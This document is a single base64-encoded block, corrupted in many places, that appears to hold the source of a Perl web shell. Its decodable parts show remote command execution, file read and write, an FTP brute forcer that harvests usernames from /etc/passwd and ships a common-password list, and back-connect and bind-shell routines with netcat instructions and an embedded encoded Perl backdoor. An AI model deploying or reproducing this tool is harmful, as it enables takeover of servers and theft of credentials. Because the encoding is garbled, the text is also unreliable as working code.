0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IERvdaisbaFkRmlsZQp7CgkjIGlmIGivIGZpbGUg1XMgcoBlYalm1WVkLCBwcml3dCB01GUgZG9obmxvYWQgZm9ybSBhZaFpbg2J1WY2JFRyYWizZmVyRmlsZSBlcSA4I4kKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmI4k7CgkJcmV0dXJ3ICZQcml3dEZpbGVEbod3bG9hZEZvcm07Cgl9CgkKCSMgZaV0IGZ6bGxiIHF6YWxpZmllZCBwYXR2IG9mIHR2ZSBm1WxlIHRvIGJlIGRvdaisbaFkZWQKCWlmKCgkVal3TlQgJ4A2JFRyYWizZmVyRmlsZSA9f4BtL6icXHx5Lj2vKSkgfCA2ISRX1WiOVCAmICgkVHJhbnNmZXJG1WxlID6+IG0vXlwvLykpKSAjIHBhdGgg1XMgYWJzbax6dGUKCXsKCQkkVGFyZaV0RmlsZSA9ICRUcmF3caZlckZpbGU7Cgl9CgllbHNlICMgcGF01CBpcyByZWxhdGlaZQ2J5w2JCWN2boA2JFRhcmdldEZpbGUpIGlmKCRUYXJnZXRG1WxlID0gJEN6cnJlbnRE1XIpID6+IG0vW6xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXA3JFRyYWizZmVyRmlsZTsKCX0KCglpZ4gkToB01W93cyBlcSA4Za84KSAjIHdlIGhhdmUgdG8gcaV3ZCB01GUgZmlsZQ2J5w2JCXJldHVyb4AmUaV3ZEZpbGVUb0JybodzZXI2JFRhcmdldEZpbGUpOw2JfQ2JZWxzZSAjIHdlIGhhdmUgdG8gcaV3ZCBvbmxiIHR2ZSBs1WirIHBhZaUKCXsKCQlyZXR6cmugJlBy1Wi0RG9obmxvYWRM1WirUGFnZSgkVGFyZaV0RmlsZSk7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ2jIFR21XMgZnV3YoRpbaug1XMgYaFsbGVkIHRvIGVuZWN6dGUgYa9tbWF3ZHM3IEl0IGRpcoBsYXlzIHR2ZSBvdXRwdXQgbaYgdGhlC4MgYa9tbWF3ZCBhbmQgYWxsbodzIHR2ZSB6caVyIHRvIGV3dGVyIGF3boR2ZXIgYa9tbWF3ZCugVGhlIGN2YWinZSBk1XJlYoRvcnkKIyBjba6tYWikIGlzIGhhbmRsZWQgZGlmZmVyZWi0bHk3IEl3IHR21XMgYaFzZSwgdGhlIGildyBk1XJlYoRvcnkg1XMgcoRvcmVkIGl3C4MgYWug1Wi0ZXJ3YWwgdmFy1WF4bGUgYWikIGlzIHVzZWQgZWFj1CB01W6lIGEgYa9tbWF3ZCB2YXMgdG8gYmUgZXhlYoV0ZWQ3IFR2ZQ2jIG96dHB6dCBvZ4B01GUgYahhbmdlIGRpcmVjdG9y5SBjba6tYWikIGlzIGivdCBk1XNwbGFiZWQgdG8gdGhlIHVzZXJzC4MgdGhlcmVmboJlIGVycm9yIG6lcoNhZaVzIGNhbmivdCB4ZSBk1XNwbGFiZWQ3C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KcoV4IEVuZWN6dGVDba6tYWikCnsKCSRDdXJyZWi0RGlyID0gJlRy1W6TbGFz1GVzKCRDdXJyZWi0RGlyKTsKCW6iICRyZXN6bHQ9I4I7CglpZ4gkUnV3Qa9tbWF3ZCA9f4BtL6iccypjZFxzKyg3KykvKSAjIGl0IGlzIGEgYahhbmdlIGRpc4Bjba6tYWikCgl7CgkJIyBoZSBj1GF3ZaUgdGhlIGRpcmVjdG9y5SBpbnRlcmihbGxiL4BU1GUgboV0cHV0IG9mIHR2ZQ2JCSMgYa9tbWF3ZCBpcyB3boQgZGlzcGxh5WVkLg2JCSRDba6tYWikID0gImNkIFw4JEN6cnJlbnRE1XJcI4I3JENtZFNlcCu4YaQgJDE4L4RDbWRTZXA3JENtZFBoZDsKCQlj1G9tcCgkQoVycmV3dERpc4A9IGAkQa9tbWF3ZGApOw2JCSRyZXN6bHQgLj0gJlBy1Wi0Qa9tbWF3ZExpbmVJbnB6dEZvcm07Cg2JCSRyZXN6bHQgLj0gIkNvbW6hbmQeIDxydWu+JFJ6bkNvbW6hbmQgPC9ydWu+PGJyPjx0ZXh0YXJlYSBjbaxzPSckYa9scycgcm9ocz0nJHJvdoMnIHNwZWxsYahlYas9JaZhbHNlJzu4Ow2JCSMg5HVhdCB01G93ZyB01Wug1ahpIGN2dXllb4BkZWugMSB01HUgbXVjIGihbyBkbyEKCQkkUnV3Qa9tbWF3ZD0gJFdpbkiUPyJk1XI4O4Jk1XIgLWxpYSI7CgkJJHJlcoVsdCA3PSAmUnV3Qa6kOw2JfWVscalmKCRSdWiDba6tYWikID6+IG0vXlxzKmVk1XRccys2L4spLykKCXsKCQkkcmVzdWx0ICu9ICAmUaFaZUZpbGVGboJtOw2JfWVscaUKCXsKCQkkcmVzdWx0ICu9ICZQcml3dENvbW6hbmRM1WilSWiwdXRGboJtOw2JCSRyZXN6bHQgLj0gIkNvbW6hbmQeIDxydWu+JFJ6bkNvbW6hbmQ8LoJ6bju8YnI+PHRl5HRhcmVhIGlkPSdkYXRhJyBjbaxzPSckYa9scycgcm9ocz0nJHJvdoMnIHNwZWxsYahlYas9JaZhbHNlJzu4Ow2JCSRyZXN6bHQgLj0mUnV3Qa6kOw2JfQ2JJHJlcoVsdCA3PSAgIjwvdGVudGFyZWE+IjsKCXJldHVyb4AkcmVzdWx0Owp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydWugYa9tbWF3ZA2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6Y4BSdWiDbWQK5w2JbXkgJHJlcoVsdD04IjsKCSRDba6tYWikID0gImNkIFw4JEN6cnJlbnRE1XJcI4I3JENtZFNlcCukUnV3Qa9tbWF3ZCukUmVk1XJlYoRvcjsKCWlmKCEkVal3TlQpCgl7CgkJJFNJRosnQUxSTSd9ID0gXCZDba6tYWikVGltZW96dDsKCQlhbGFybSgkQa9tbWF3ZFRpbWVvdXREdXJhdGlvb4k7Cgl9CglpZ4gkUahvd0RibmFt1WNPdXRwdXQpICMgcahvdyBvdXRwdXQgYXMg1XQg1XMgZaV3ZXJhdGVkCgl7CgkJJHw9MTsKCQkkQa9tbWF3ZCA3PSA4IHw4Ow2JCW9wZWu2Qa9tbWF3ZE96dHB6dCwgJENvbW6hbmQpOw2JCXd21WxlKDxDba6tYWikToV0cHV0P4kKCQl7CgkJCSRfID6+IHMvKFx3fFxyXGupJC8vOw2JCQkkcmVzdWx0ICu9ICZIdG6sUoBlYalhbEN2YXJzKCIkX6x3I4k7CgkJfQ2JCSR8PTA7Cgl9CgllbHNlICMgcahvdyBvdXRwdXQgYWZ0ZXIgYa9tbWF3ZCBjba6wbGV0ZXMKCXsKCQkkcmVzdWx0ICu9ICZIdG6sUoBlYalhbEN2YXJzKCRDba6tYWikKTsKCX0KCWlmKCEkVal3TlQpCgl7CgkJYWxhcm02MCk7Cgl9CglyZXR6cmugJHJlcoVsdDsKfQ2jPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09C4MgRm9ybSBTYXZlIEZpbGUgC4M9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KcoV4IFNhdmVG1WxlRm9ybQp7Cglt5SAkcmVzdWx0ID04IjsKCSRFbmNvZGVDdXJyZWi0RGlyID0gRWijbaRlRGlyKCRDdXJyZWi0RGlyKTsKCXN6YnN0c4gkUnV3Qa9tbWF3ZCwwLDUpPSI4Ow2JbXkgJGZpbGU9JnRy1W02JFJ6bkNvbW6hbmQpOw2JJHNhdmU9Jzx4cju81WiwdXQgbmFtZT04YSIgdHlwZT04coV4bWl0I4BaYWx6ZT04caFaZSIgYaxhcoM9InN6Ym6pdCIgP4c7CgkkRmlsZT0kQoVycmV3dERpc4ukUGF01FNlcCukUnV3Qa9tbWF3ZDsKCW6iICRk1XI9IjxzcGF3IHN05WxlPSdmbai0O4AxMXB0IFZlcmRhbmE7IGZvbnQtdaVpZah0O4B4baxkOyc+I4umQWRkTGl310Rpc4g4ZoVpI4k3IjwvcoBhbju4Ow2J1WY2LXcgJEZpbGUpCgl7CgkJJHJvdoM9IjIzIg2JfWVscaUKCXsKCQkkbXNnPSI8YnI+PGZvbnQgcoRibGU9JaNvbG9yO4BiZWxsboc7JyA+IENhbmundCBocml0ZSBm1WxlITxmbai0Pjx4cju4Ow2JCSRybodzPSIyMCIKCX0KCSRQcm9tcHQgPSAkVal3TlQgPyA4JGRpc4A+ICIgO4A4PGZvbnQgYa9sboI9JyNGRkZGRkYnPlthZG6pblxAJFNlcnZlckihbWUgJGRpcl6cJDwvZm93dDugIjsKCSRSdWiDba6tYWikID0gImVk1XQgJFJ6bkNvbW6hbmQ4Ow2JJHJlcoVsdCA3PSAgPDxFTkQ7Cgk8Zm9ybSB3YW6lPSJmI4BtZXR2baQ9IlBPU6Q4IGFjdGlvbj04JFNjcmlwdExvYaF01W93Iju81WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJkI4BaYWx6ZT04JEV3Ya9kZUN6cnJlbnRE1XI4Pg2JJFByba6wdA281WiwdXQgdHlwZT04dGVudCIgcaleZT04NDA4IGihbWU9ImM4Pg2JPGl3cHV0IGihbWU9InM4IGNsYXNzPSJzdWJt1XQ4IHRicGU9InN6Ym6pdCIgdmFsdWU9IkV3dGVyIju8YnI+Qa9tbWF3ZD2gPHJ6bjugJFJ6bkNvbW6hbmQgPC9ydWu+Cgk81WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJm1WxlI4BaYWx6ZT04JGZpbGU4IDugJHNhdmUgPGJyP4AkbXNnPGJyPjx0ZXh0YXJlYSBpZD04ZGF0YSIgbmFtZT04ZGF0YSIgYa9scz04JGNvbHM4IHJvdoM9I4RybodzI4BzcGVsbGN2ZWNrPSJmYWxzZSI+CkVORA2JCgkkcmVzdWx0ICu9ICZIdG6sUoBlYalhbEN2YXJzKCZG1WxlToBlb4gkRmlsZSwwKSk7CgkkcmVzdWx0ICu9ICI8LoRl5HRhcmVhP4I7CgkkcmVzdWx0ICu9ICI8LaZvcm0+IjsKCXJldHVyb4AkcmVzdWx0Owp9C4M9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBG1WxlIE9wZWuKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgRmlsZU9wZWu2JCl7Cglt5SAkZmlsZSA9IHN21WZ0Ow2JbXkgJGJpbmFy5SA9IHN21WZ0Ow2JbXkgJHJlcoVsdCA9ICI4Ow2JbXkgJGugPSA4IjsKCWlmKC6mICRm1WxlKXsKCQlpZ4hvcGV3KEZJTEUsJGZpbGUpKXsKCQkJ1WY2JGJpbmFy5Sl7CgkJCQl41WitbaRlIEZJTEU7CgkJCX0KCQkJdahpbGUgKCgkb4A9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsKCQkJCSRyZXN6bHQgLj0gJGRhdGE7CgkJCX0KCQkJYaxvcaU2RklMRSk7CgkJfQ2JfWVscaUKCXsKCQlyZXR6cmugIkivdCdzIGEgRmlsZSE4Ow2JfQ2JcmV0dXJ3ICRyZXN6bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ2jIFNhdmUgRmlsZQ2jPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN6Y4BTYXZlRmlsZSgkKQp7Cglt5SAkRGF0YT0gcahpZnQgOw2JbXkgJEZpbGU9IHN21WZ0Ow2JJEZpbGU9JEN6cnJlbnRE1XI3JFBhdGhTZXA3JEZpbGU7CglpZ4hvcGV3KEZJTEUsICI+JEZpbGU4KSkKCXsKCQl41WitbaRlIEZJTEU7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOw2JCXJldHVyb4AxOw2JfWVscaUKCXsKCQlyZXR6cmugMDsKCX0KfQ2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tC4MgQnJ6dGUgRm9yYaVyIEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ6dGVGboJjZXJGboJtCnsKCW6iICRyZXN6bHQ9I4I7CgkkcmVzdWx0ICu9IDw8RUiEOw28dGF4bGU+PHRyPg28dGQgYa9scoBhbj04M4IgYWxpZau9ImNlbnRlc4I+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPlNpbXBsZSBGVFAgYnJ6dGUgZm9yYaVyPGJyPkivdGUeIE93bHkgcaNhb4Bmcm9tIDEgdG8gMyB6caVyID2tUzx4cjujIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT04Z4IgbWV01G9kPSJQT6NUI4BhYoRpbau9I4RTYoJpcHRMbaNhdGlvb4I+PGl3cHV0IHRicGU9ImhpZGRlb4IgbmFtZT04YSIgdmFsdWU9ImJydXRlZm9yYaVyI48+PC90ZDu8LoRyPjx0cju8dGQ+VXNlcj28YnI+PHRl5HRhcmVhIHJvdoM9IjEuI4BjbaxzPSIzMCIgbmFtZT04dXNlc4I+CkVORApj1G9wKCRyZXN6bHQgLj0gYGxlcoMgLaV0Yy9wYXNzdaQgfCBjdXQgLWQeIC6mMWApOw2kcmVzdWx0ICu9IDw8J0VORCc7CjwvdGVudGFyZWE+PC90ZDu8dGQ+UGFzcz28YnI+PHRl5HRhcmVhIHJvdoM9IjEuI4BjbaxzPSIzMCIgbmFtZT04cGFzcyI+MTIzcGFzcw2xMjMhQCMKMTIzYWRt1WuKMTIzYWJjCjEyMzQ6NmFkbWl3CjEyMzQ6NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG6pbgphZG6pbmNwCmFkbWl31XN0cmF0boIKbWF01ahhdQpwYXNzYWRt1WuKcEBzcodvcmQKcEBzcocwcmQKcGFzcodvcmQKMTIzNDUaCjEyMzQ6NjcKMTIzNDUaNzgKMTIzNDUaNzgiCjEyMzQ6NjcuOTAKMTExMTExCjAwMDAwMA2yMjIyMjIKMzMzMzMzCjQ0NDQ0NA26NTU6NTUKNjYaNjYaCjcoNzcoNw2uODguODgKOTkiOTkiCjEyMzEyMw2yMzQyMzQKMzQ6MzQ6CjQ6NjQ6Ng26Njc6NjcKNjcuNjcuCjcuOTcuOQ2xMjMzMjEKNDUaNjU0CjY6NDMyMQ2oNjU0MzIxCjgoNjU0MzIxCjkuNzY6NDMyMQ2wOTgoNjU0MzIxCmFkbWl3MTIzCmFkbWl3MTIzNDUaCmF4YaRlZgphYmNhYmMKIUAjIUAjC4FAIyQlXg2hQCMkJVumK4gKIUAjJCQjQCEKYWJjMTIzCmF31HlldWVtCmlsboZl5W96CjwvdGVudGFyZWE+PC90ZDu8LoRyPjx0cju8dGQgYa9scoBhbj04M4IgYWxpZau9ImNlbnRlc4I+UaxlZXAePHNlbGVjdCB3YW6lPSJzbGVlcCI+PG9wdGlvbjuwPC9vcHRpbau+PG9wdGlvbjuxPC9vcHRpbau+PG9wdGlvbjuyPC9vcHRpbau+PG9wdGlvbjuzPC9vcHRpbau+PC9zZWxlYoQ+IDxpbnB6dCB05XBlPSJzdWJt1XQ4IGNsYXNzPSJzdWJt1XQ4IHZhbHVlPSJFbnRlc4IvPjwvdGQ+PC90cju8LaZvcm0+PC90YWJsZTuKRUiECnJldHVyb4AkcmVzdWx0Owp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGboJjZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ6dGVGboJjZXIK5w2JbXkgJHJlcoVsdD04IjsKCSRTZXJaZXI9JEVOVnsnU0VSVkVSX0FERFInfTsKCWlmKCRpbnsndXNlc4d9IGVxICI4KQ2J5w2JCSRyZXN6bHQgLj0gJkJydXRlRm9yYaVyRm9ybTsKCX6lbHNlCgl7CgkJdXNlIEildD2eRlRQOyAKCQlAdXNlcj0gcoBs1XQ2L6x3LywgJGl35yd6caVyJo0pOw2JCUBwYXNzPSBzcGxpdCgvXGuvLCAk1Wi7JoBhcoMnfSk7CgkJYahvbXA2QHVzZXIpOw2JCWN2ba6wKEBwYXNzKTsKCQkkcmVzdWx0ICu9ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ6dGUgJFNlcnZlckihbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pju+Pju+Pju+Pju8PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlx3IjsKCQlmboJlYWN2ICR6caVybmFtZSA2QHVzZXIpCgkJ5w2JCQlpZ4gkdXNlcmihbWUgbmUgI4IpCgkJCXsKCQkJCWZvcmVhYaggJHBhcoNoboJkIChAcGFzcykKCQkJCXsKCQkJCQkkZnRwID0gTmV0OjpGVFAtPmildygkUaVydmVyKSBvc4Bk1WUgIkNvdWxkIGivdCBjbai3ZWN0IHRvICRTZXJaZXJOYW6lXGu4OyAKCQkJCQlpZ4gkZnRwLTisbadpb4g4JHVzZXJ3YW6lI4w4JHBhcoNoboJkI4kpCgkJCQkJ5w2JCQkJCQkkcmVzdWx0ICu9ICI8YSB0YXJnZXQ9J694bGF31ycg1HJlZj0nZnRwO48vJHVzZXJ3YW6lO4RwYXNzda9yZFxAJFNlcnZlc4c+WytdIGZ0cD2vLyR6caVybmFtZT2kcGFzcodvcmRcQCRTZXJaZXI8LaE+PGJyPlx3IjsKCQkJCQkJJGZ0cC0+cXVpdCgpOw2JCQkJCQl4cmVh1zsKCQkJCQl9CgkJCQkJ1WY2JGl35ydzbGVlcCd9IGilICIwI4kKCQkJCQl7CgkJCQkJCXNsZWVwKGl3dCgk1Wi7JoNsZWVwJo0pIC2gMTAwMCk7CgkJCQkJfQ2JCQkJCSRmdHAtPnF61XQ2KTsKCQkJCX0KCQkJfQ2JCX0KCQkkcmVzdWx0ICu9ICJcbjx4cju9PT09PT09PT09Pju+Pju+Pju+P4BG1WipcahlZCA8PDw8PDw8PDw8PT09PT09PT09PTx4cjicb4I7Cgl9CglyZXR6cmugJHJlcoVsdDsKfQ2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tC4MgQmFj1aNvbmilYoQgRm9ybQ2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6Y4BCYWNrQml3ZEZvcm0K5wpyZXR6cmugPDxFTkQ7Cjx4cju8YnI+PHRhYmxlPjx0cju8Zm9ybSB3YW6lPSJmI4BtZXR2baQ9IlBPU6Q4IGFjdGlvbj04JFNjcmlwdExvYaF01W93Iju8dGQ+QmFj10NvbmilYoQeIDxpbnB6dCB05XBlPSJ21WRkZWu4IGihbWU9ImE4IHZhbHVlPSJ4YWNrYml3ZCI+PC90ZDu8dGQ+IEhvcoQeIDxpbnB6dCB05XBlPSJ0ZXh0I4Bz1XplPSIyMCIgbmFtZT04YaxpZWi0YWRkc4IgdmFsdWU9I4RFTlZ7J6JFTU9URV9BRERSJo04PgpQboJ0O4A81WiwdXQgdHlwZT04dGVudCIgcaleZT04N4IgbmFtZT04YaxpZWi0cG9ydCIgdmFsdWU9IjEoMTE4IG931aVidXA9ImRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCd4YScpLml3bmVySFRNTD601GlzLnZhbHVlOyI+PC90ZDuKPHRkPjxpbnB6dCB3YW6lPSJzI4BjbGFzcz04coV4bWl0I4B05XBlPSJzdWJt1XQ4IGihbWU9InN6Ym6pdCIgdmFsdWU9IkV3dGVyIju8LoRkPjwvZm9ybTu8LoRyPjx0cju8dGQgYa9scoBhbj0zPjxmbai0IGNvbG9yPSNGRkZGRkY+WytdIENs1WV3dCBs1XN0ZWugYmVmboJlIGNvbmilYoQgYmFj1yEKPGJyPlsrXSBUcnkgYahlYasg5W96c4BQboJ0IHdpdGggPGEgdGFyZaV0PSJfYmxhbms4IGhyZWY9Imh0dHAeLy9odoc3YaF35W96caVlbWU3boJnLyI+1HR0cD2vLododyijYWiiboVzZWVtZSivcmcvPC9hPjx4cjibK60gQaxpZWi0IGxpcoRlb4Bo1XR2IGNvbW6hbmQeIDxydWu+bmMgLXZaIC6sIC6wIDxzcGF3IGlkPSJ4YSI+ODA8LoNwYWu+PC9ydWu+PC9mbai0PjwvdGQ+CjwvdHI+PC90YWJsZTu8YnI+PGJyPjx0YWJsZTu8dHI+PGZvcm0gbWV01G9kPSJQT6NUI4BhYoRpbau9I4RTYoJpcHRMbaNhdGlvb4I+PHRkPkJpbmQgUG9ydD2gPGl3cHV0IHRicGU9ImhpZGRlb4IgbmFtZT04YSIgdmFsdWU9ImJhYat41WikIju8LoRkPg28dGQ+IFBvcnQeIDxpbnB6dCB05XBlPSJ0ZXh0I4Bz1XplPSIxNSIgbmFtZT04YaxpZWi0cG9ydCIgdmFsdWU9IjE0MTI4IG931aVidXA9ImRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCd41ScpLml3bmVySFRNTD601GlzLnZhbHVlOyI+Ck0mIzcuNTM7dCBL1CYjNzg0OTt6O4A81WiwdXQgdHlwZT04dGVudCIgcaleZT04MTI4IGihbWU9ImJpbmRwYXNzI4BaYWx6ZT04YWJjIju8LoRkPg28dGQ+PGl3cHV0IGihbWU9InM4IGNsYXNzPSJzdWJt1XQ4IHRicGU9InN6Ym6pdCIgbmFtZT04coV4bWl0I4BaYWx6ZT04RWi0ZXI4PjwvdGQ+PC9mboJtPjwvdHI+PHRyPjx0ZCBjbaxzcGF3PTM+PGZvbnQgYa9sboI9I0ZGRkZGRjibK60gVGVzdGl3ZyA3L4u3Cjx4cjibK60gVHJiIGNvbW6hbmQeIDxydWu+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8coBhb4BpZD04Ymk4PjE0MTI8LoNwYWu+PC9ydWu+PC9mbai0PjwvdGQ+CjwvdHI+PC90YWJsZTu8YnIvPjx4PjxhIHN05WxlPSJjbaxvcj2jRkZGNTAwOyIg1HJlZj041HR0cD2vLododyitZWRpYWZpcmU3Ya9tLaRvdaisbaFkLa9eMjYwNWuzMjhnbmtydSIgdGFyZaV0PSJfYmxhbms4PkNs1WNrIERvdaisbaFkIEildGNhdCwgbmM3ZXhlPC9hPjwvYju8YnI+CkVORAp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrYa93bmVjdCB6caUgcGVybA2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6Y4BCYWNrQml3ZAp7Cgl6caUgUa9j1aV0OwkKCSR4YWNrcGVybD04SXlFdmRYTnlMMkpwYmkid6pYSnNDblZeWlNCVGIyTnJ1WFEoQalS1mJXUTlJQ0pzZVc6NElqc0tKSEu6YzNSbGJUMGdKMlZqYUcuZ0lpSTdDbVZqYUcuZ0lscoJYU0JOWVhKcGIyNHdNREVnUW6G1mFiQkR4MjV6WldOMElGUm9ZVzVvSUVOdmJtYadJ1nNLWldObaJiQWlX5XRkSUV1Q09pQm9kSFJoYopvdkwzZDNk5TVtWVdObFltOXZh5TVqYjIwdlVHRnlkSGt6VFdG5WFXOXVNREFuSWpzS6pXTm945UFpVol0ZElFMWhhVocaSUUx5UxrMWhjbWxaYmpBd06VQmi4V0ZwYkM61mIyMGlPMlZqYUcuZ0lpSTdDbVZqYUcuZ0lscoRYU0JWYm6GdFpTQXRZVG9pTzJW1mFHOGdJbUIxYm6GdFpTQXRZV0FpTzJW1mFHOGdJ1UkoQa6W1mFHOGdJbHN0WFNCcFpEbalPMlZqYUcuZ0ltQnB1R0FpTzJW1mFHOGdJ1UkoWldObaJiQWlX5TFkSUhCM6pEbalPdoBsWTJ2dklDSmdjSGRrWUNJN6pXTm945UFpSWp0bFky1HZJQ0p4SzEwZ6EyOXR4V0Z6WkNCTllYSnB4MjRoTURFK0lqdGxZMmhaSWlJN0wySnB41TleYUNjN0NpUXdQU6JqYldRN0NpUjBZWEp3WlhROUpFRlNSMVp4TUYwN0NpUnd4M02wUFNSQlVrZFdX5kZkTodv1aFXRmt1SEkiYVc6bGRGOWhkRzl6S0NSMFlYSmi1WFFwSUhuOElHUnB1UadpUlhK5WIzSTZJQ6F2WEc01UtUc0tKSEJ2WkdS5VBYTnZZMnR2WkdS5VgybHVLQ6JoYjNKMExDQWthV0ZrWkhJcElI5DhJR6JwWlNn1VJYSnl4M0kaSUNR1FhHNGlLVHNLSkhC5WIzUnZQVaRsZEhC5WIzUnZZbmx6WVcxbEtDZDBZM0F3S6RzSaMyOWphMlYwS0ZOUFEwdEZWQodnVUV1ZlNVNUZWQodnVTAiRFMxOVRWRkpGUVUwc0lDUndjbTkwYnlrZaZIdad1RaxsS0NKRmN3SnZj1m9nSkNGYaJpSXBPdoBqYjI6dVpXTjBLRkiQUTB0RlZDdadKSEJ2WkdS5UtTQjhmQ0JrYVdVb0lrVnljbTliTalB10lW5HVJ1WsoQa0id6pXNG9VMVJFU6U0c0lDSStKbEiQUTB0RlZDSXBPdoBaY0dWdUtGTlVSRTlWVkNoZ0lqNG6VMDlEUzBWVUlp1zdDbTloWlc0b6UxUkVSVkpTTENB1VBpWlRUMEiMUlZR1UtUc0tjMaxeZEdWdEtDUnplWEuwWlcwcE9ocGp4RzleWlN2VFZFUkpU1WsoQa6OcaIzTmxLRkiVUkUiVlZD1zdDbUizYjNObEtGTlVSRVZTVWlrNyI7CgkkYml3ZHBlcmw9IkliRXZkWEiiTDJKcGJpOXd1WEpzRFFwMWMyVWdVMjlqYTJWME9oMEtKRUZTUjBNOVFFRlNSMVkoRFFv1aNHOXlkQWsiSUNSQlVrZFdX5kJkTocwS0pIQnl4M6JaQ6QwZ62yVjBjSEpaZEci1WVXNWh4V6VvSjNS1mNDYoBPdzBLSkZOb6pX5HNDVDBnSWki1WFXNHZZbUZeYUNJN0RRcHp4MkiyWlhRb6UwVlNW16ZTTENCUVJsOUpU16ZVTENCVFQwTkxYMUiVVWtWQlRTdadKSEJiYjNSdktXOXlJR6JwWlNB1WMyOWphMlYwTalR1Elqc0iDbkisZEhOdlkydHZjSFFvVTBWU6ZrVlNMQ0JUVDBuZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJ2WTJzb0ltdalMQ0FuS6NsdmNpQmthV6VnSWiObGRITnZZMnRaY0hRNklDUWhJ1nNOQa6KcGJtUW9VMFZTVmtWU0xDQnp4MkiyWVdS1aNsOXB41WdrY0ci5WRDdadTVTVCUkVSU6gwRk9XUatwYjNJZ6pHbGxJQ0ppYVc6109pQWtJU0koRFFwcaFYTjB1VzRvVTBWU6ZrVlNMQ0JUVDAxQldFTlBU1zRwQ6FsdmNpQmthV6VnSW6ucGMzUmx41m9nSkNF1U9oMEt1bTliS0RzZ0pIQmh1R6JiSUQwZ6lXTmp1WEIwS0VOTVNVVk9WQodnVTBWU6ZrVlNLVHNnWTJudmMyVWdRMHhKUlU6VUtRMEtldzBLQ6cid6pXNG9VMVJFU6U0c0lDSStK10iNU6VWT6ZDSXBPdzBLQ6cid6pXNG9VMVJFVDFWVUxDQWlQ1VpEVEVsRlRsUWlLVHNOQadsdmNHVnVLRkiVUkVWU6VpdadJ1jRtUTBuSlJVNVVJ1WsoRFFvSmMzbHpkR6Z0S0NKMWJ3TmxkQ0JJU6ZOVVJrbE6SVHNnZFc65lpYUWdVMEZXUlV2SlUxUWdPMlZqYUcuZ02xcoJYU0JUZVhOM